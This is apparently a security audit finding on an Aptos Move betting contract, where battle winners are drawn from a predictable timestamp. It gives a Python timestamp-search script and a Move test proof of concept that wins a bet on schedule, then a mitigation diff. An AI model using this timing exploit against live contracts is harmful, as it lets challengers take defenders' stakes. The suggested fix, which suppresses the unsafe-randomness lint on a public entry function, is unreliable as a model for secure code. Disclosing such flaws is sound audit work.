Randomness, not random, could lead to systematic wins for the challenger
Description
The function rap_battle::go_on_stage_or_battle have the following lines activated when the challenger call the function.
let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
let total_skill = defender_skill + challenger_skill;
let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };
The problem is that timestamp::now_second could be predicted so that the challenger will win every battle against every defender whatever their levels.
Risk
impact : Every defender will lose their bets, as the challenger will predict the right time to bet. (High)
likelyhood: Some challengers could write a bot(with some coding knowledge) that call the function at the right time. (Medium)
Proof of Concept
We need to know the max skill a rapper can have, we need to take a look at the function one_shot::skill_of
public(friend) fun skill_of(token_id: address): u64 acquires RapperStats {
let stats_res = borrow_global<RapperStats>(@battle_addr);
let s = table::borrow(&stats_res.stats, token_id);
let after1 = if (s.weak_knees) { 65 - 5 } else { 65 };
let after2 = if (s.heavy_arms) { after1 - 5 } else { after1 };
let after3 = if (s.spaghetti_sweater) { after2 - 5 } else { after2 };
let final_skill = if (s.calm_and_ready) { after3 + 10 } else { after3 };
final_skill
}
The different are as follow :
-
rapper lvl 0 : 50
-
rapper lvl 1 : 55
-
rapper lvl 2 : 60
-
rapper lvl 3 : 75
If i want to play, i need my player to be at least lvl 1(so 55), and i can know the total_skill for each rapper level :
-
rapper lvl 0 vs lvl 1 : 50 + 55 = 105
-
rapper lvl 1 vs lvl 1 : 55 + 55 = 110
-
rapper lvl 2 vs lvl 1 : 60 + 55 = 115
-
rapper lvl 3 vs lvl 1 : 75 + 55 = 130
I created a simple program for the test to know which timestamp to bet in python :
import random
def rnd():
random_int = random.randint(0, 999999)
while(random_int % 105 < 75 or random_int % 110 < 75 or random_int % 115 < 75 or random_int % 130 < 75) :
random_int = random.randint(0, 999999)
print(random_int)
print(rnd())
Welcome to OnlineIDE Pro!
Start coding in Python...
496416
None
Add the following function in one_shot :
#[test_only]
public fun
last_created_rapper():
Option<address> {
let events= event::emitted_events<MintRapperEvent>();
if (vector::length(&events) == 0) {
return option::none()
};
let event = vector::pop_back(&mut events);
return option::some(event.token_id)
}
Add the following function in rap_battle for testing purpose:
public fun init_init_module(module_owner: &signer) {
init_module(module_owner);
}
Add the following function in cred_token for testing purpose:
#[test_only]
public fun init_init(sender: &signer) {
init_module(sender);
}
Create a file in test named rap_battle_tests.move and add the following lines :
module battle_addr::rap_battle_tests {
use std::signer;
use std::debug;
use std::timestamp;
use aptos_framework::account;
use battle_addr::one_shot::{Self as one_shot};
use battle_addr::rap_battle::{Self as rap_battle};
use battle_addr::cred_token::{Self as cred};
use battle_addr::streets::{Self as streets};
use aptos_framework::coin;
use aptos_framework::object::{Self as object};
use aptos_token_v2::token::{Self as token};
#[test(framework = @0x1)]
public fun test_go_on_stage(framework: &signer) {
timestamp::set_time_has_started_for_testing(framework);
let module_owner = account::create_account_for_test(@battle_addr);
let minter = account::create_account_for_test(@minter_addr);
let user = account::create_account_for_test(@0x125);
rap_battle::init_init_module(&module_owner);
cred::init_init(&module_owner);
coin::create_coin_conversion_map(framework);
one_shot::mint_rapper(&module_owner, signer::address_of(&minter));
let minter_id = *one_shot::last_created_rapper().borrow();
let minter_obj = object::address_to_object<token::Token>(minter_id);
assert!(object::is_owner(minter_obj, @minter_addr), 1);
one_shot::mint_rapper(&module_owner, signer::address_of(&user));
let user_id = *one_shot::last_created_rapper().borrow();
let user_obj = object::address_to_object<token::Token>(user_id);
streets::stake(&minter, minter_obj);
streets::stake(&user, user_obj);
timestamp::update_global_time_for_test(86400000000);
streets::unstake(&user, &module_owner, user_obj);
timestamp::update_global_time_for_test(345600000000);
streets::unstake(&minter, &module_owner, minter_obj);
let minter_cred_balance= coin::balance<cred::CRED>(@minter_addr);
let user_cred_balance= coin::balance<cred::CRED>(@0x125);
assert!(minter_cred_balance == 4, 1);
assert!(user_cred_balance == 1, 1);
debug::print(&minter_cred_balance);
debug::print(&user_cred_balance);
let balance = one_shot::balance_of(@minter_addr);
assert!(balance == 1, 1);
balance = one_shot::balance_of(@0x125);
assert!(balance == 1, 1);
rap_battle::go_on_stage_or_battle(&minter, minter_obj, 1);
timestamp::update_global_time_for_test(496416000000);
rap_battle::go_on_stage_or_battle(&user, user_obj, 1);
minter_cred_balance= coin::balance<cred::CRED>(@minter_addr);
user_cred_balance= coin::balance<cred::CRED>(@0x125);
assert!(minter_cred_balance == 3, 1);
assert!(user_cred_balance == 2, 1);
debug::print(&minter_cred_balance);
debug::print(&user_cred_balance);
}
}
Recommended Mitigation
Use the proper Aptos randomness API for better randomness :
Add the following struct to battle_addr::rap_battle :
struct RandomNumber has key {
number: u64,
}
Init the struct
fun init_module(sender: &signer) {
move_to(sender, BattleArena {
defender: @0x0,
defender_bet: 0,
defender_token_id: @0x0,
prize_pool: coin::zero<cred_token::CRED>(),
});
+ move_to(sender, RandomNumber{
+ number: 0,
+ });
}
Add the following function to set and get the random number:
#[randomness]
public(friend) entry fun set_random_number() acquires RandomNumber {
let random = borrow_global_mut<RandomNumber>(@battle_addr);
random.number = aptos_framework::randomness::u64_range(0, 999999);
}
fun get_random_number() : u64 acquires RandomNumber {
let random = borrow_global_mut<RandomNumber>(@battle_addr);
random.number
}
Add the following line to rap_battle::go_on_stage_or_battle
+ #[lint::allow_unsafe_randomness]
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena, RandomNumber {
...
if (arena.defender == @0x0) {
...
}else{
assert!(arena.defender_bet == bet_amount, E_BETS_DO_NOT_MATCH);
let defender_addr = arena.defender;
let chall_addr = player_addr;
let chall_token_id = object::object_address(&rapper_token);
one_shot::transfer_record_only(chall_token_id, chall_addr, @battle_addr);
object::transfer(player, rapper_token, @battle_addr);
let chall_coins = coin::withdraw<cred_token::CRED>(player, bet_amount);
coin::merge(&mut arena.prize_pool, chall_coins);
+ set_random_number();
let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
let total_skill = defender_skill + challenger_skill;
- let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
+ let rnd = get_random_number() % (if (total_skill == 0) { 1 } else { total_skill });
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };
...
}
}
